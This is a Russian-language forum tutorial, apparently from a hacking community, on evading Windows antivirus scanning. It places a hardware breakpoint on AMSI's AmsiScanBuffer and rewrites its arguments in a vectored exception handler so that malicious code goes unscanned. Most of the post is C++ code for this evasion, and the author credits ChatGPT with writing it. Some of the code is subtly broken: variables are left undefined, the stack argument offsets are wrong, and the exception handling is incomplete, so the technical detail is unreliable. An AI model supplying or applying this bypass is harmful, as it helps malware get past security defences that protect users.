Уроки Обход AMSI при помощи хардварных точек останова


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
1698588606962.png


AMSI (Antimalware Scan Interface) — это интерфейс, предоставляемый Microsoft, который позволяет приложениям и службам отправлять данные на сканирование антивирусными решениями, установленными на системе. С AMSI разработчики могут лучше интегрироваться с антивирусными решениями и обеспечивать более высокий уровень безопасности для своих пользователей.

Обход AMSI с использованием хардверных брейкпоинтов:

Хардверные точки останова — это механизм, который позволяет отладчикам "останавливать" выполнение программы при обращении к определенной области памяти. Это может быть полезно при исследовании, как программа или система взаимодействует с конкретными данными.

В этой статье давайте попробуем перехватить функцию AmsiScanBuffer и изменить в обработчике исключения входные данные в эту функцию, тем самым в антивирусные системы будут попадать не вредоносный код для сканирования, а мусор.)

AmsiScanBuffer — это функция из Antimalware Scan Interface (AMSI) в Windows. AMSI предоставляет приложениям и сервисам интерфейс для взаимодействия с антивирусными решениями, установленными на системе. Это позволяет приложениям отправлять буферы данных на сканирование, чтобы определить, содержат ли они вредоносный код или другие угрозы.

Функция AmsiScanBuffer предназначена для сканирования произвольного буфера памяти. Это может быть полезно, например, для проверки содержимого файлов, сетевых пакетов или динамически генерируемого кода на предмет вредоносных действий.

Прототип функции выглядит примерно так:

C:
HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    const void *buffer,
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT *result
);

Описание параметров:
  • amsiContext: контекст AMSI, который был получен при вызове AmsiInitialize.
  • buffer: указатель на буфер, который следует просканировать.
  • length: размер буфера в байтах.
  • contentName: опциональное имя или описание контента, который сканируется. Это может помочь антивирусному решению лучше понять, что именно сканируется.
  • amsiSession: опциональная сессия сканирования; может быть NULL.
  • result: указатель на переменную, в которую будет записан результат сканирования.
Функция возвращает код HRESULT, который указывает на успешность операции или наличие ошибки. Значение, указанное result, будет содержать результат сканирования, например, является ли содержимое буфера безопасным или вредоносным.

Вот базовый пример на C++, который устанавливает хардверный брейкпоинт на адрес функции AmsiScanBuffer:

C++:
#include <Windows.h>
#include <iostream>

void SetHardwareBreakpoint(void* address)
{
    CONTEXT context;
    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    HANDLE hThread = GetCurrentThread();
    if (!GetThreadContext(hThread, &context))
    {
        std::cerr << "Failed to get thread context." << std::endl;
        return;
    }

    // Set the address into DR0 (debug register 0)
    context.Dr0 = (DWORD_PTR)address;
    context.Dr7 |= 0x00000001;  // Activate DR0 for execution

    if (!SetThreadContext(hThread, &context))
    {
        std::cerr << "Failed to set thread context." << std::endl;
    }
}

int main()
{
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi)
    {
        std::cerr << "Failed to load amsi.dll" << std::endl;
        return 1;
    }

    void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pAmsiScanBuffer)
    {
        std::cerr << "Failed to find AmsiScanBuffer function." << std::endl;
        return 1;
    }

    SetHardwareBreakpoint(pAmsiScanBuffer);

    // TODO: Add your code here.

    return 0;
}

Этот код устанавливает хардверный брейкпоинт на выполнение функции AmsiScanBuffer. Когда функция будет вызвана, ваше приложение попадет в обработчик исключения (EXCEPTION_SINGLE_STEP). Вы можете обработать это исключение, чтобы выполнить нужные действия при достижении брейкпоинта.

Чтобы добавить обработчик для функции AmsiScanBuffer, вы можете использовать векторные исключения Windows. Сначала добавьте обработчик исключений, который будет вызываться при срабатывании брейкпоинта, а затем в этом обработчике перехватите вызов AmsiScanBuffer.

Ниже приведен пример:

C++:
#include <Windows.h>
#include <iostream>

LONG CALLBACK VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
    {
        // TODO: Обработка вызова AmsiScanBuffer
        // ...
      
        // Верните EXCEPTION_CONTINUE_EXECUTION, чтобы продолжить выполнение
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    // Если это не та ошибка, которую мы искали, верните EXCEPTION_CONTINUE_SEARCH.
    return EXCEPTION_CONTINUE_SEARCH;
}

void SetHardwareBreakpoint(void* address)
{
    CONTEXT context;
    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    HANDLE hThread = GetCurrentThread();
    if (!GetThreadContext(hThread, &context))
    {
        std::cerr << "Failed to get thread context." << std::endl;
        return;
    }

    // Set the address into DR0 (debug register 0)
    context.Dr0 = (DWORD_PTR)address;
    context.Dr7 |= 0x00000001;  // Activate DR0 for execution

    if (!SetThreadContext(hThread, &context))
    {
        std::cerr << "Failed to set thread context." << std::endl;
    }
}

int main()
{
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi)
    {
        std::cerr << "Failed to load amsi.dll" << std::endl;
        return 1;
    }

    void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pAmsiScanBuffer)
    {
        std::cerr << "Failed to find AmsiScanBuffer function." << std::endl;
        return 1;
    }

    SetHardwareBreakpoint(pAmsiScanBuffer);

    // Установите векторный обработчик исключений
    AddVectoredExceptionHandler(1, VectoredExceptionHandler);

    // TODO: Add your code here.

    return 0;
}

В VectoredExceptionHandler вы можете добавить логику, которая будет выполнена при вызове AmsiScanBuffer. Например, вы можете изменить аргументы, передаваемые в функцию, или модифицировать результаты выполнения.

Чтобы изменить аргументы функции AmsiScanBuffer в VectoredExceptionHandler, нужно взаимодействовать с контекстом потока, который был передан в обработчик исключений. Аргументы функции передаются через регистры или через стек в зависимости от архитектуры и соглашения вызова. В x64 Windows, первые четыре аргумента функции передаются через регистры RCX, RDX, R8 и R9, а остальные — через стек.

В контексте функции AmsiScanBuffer:
  • RCX будет содержать amsiContext
  • RDX будет содержать указатель на buffer
  • R8 будет содержать length
  • R9 будет содержать contentName
Остальные аргументы можно получить из стека.

Вот пример того, как вы можете изменить аргументы:

C++:
LONG CALLBACK VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
    {
        CONTEXT* context = ExceptionInfo->ContextRecord;

        // Изменяем аргументы функции
        context->Rcx = (DWORD_PTR)modifiedAmsiContext;
        context->Rdx = (DWORD_PTR)modifiedBuffer;
        context->R8 = modifiedLength;
        context->R9 = (DWORD_PTR)modifiedContentName;

        // Если нужно изменить аргументы в стеке (например, amsiSession или result):
        DWORD_PTR* stack = (DWORD_PTR*)context->Rsp;
        stack[0] = (DWORD_PTR)modifiedAmsiSession; // Первый аргумент в стеке
        stack[1] = (DWORD_PTR)&modifiedResult;     // Второй аргумент в стеке

        // ...

        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

Это статья написана ChatGPT с моими подсказками и наводящими вопросами...)
Круто правда ?
 
Верх Низ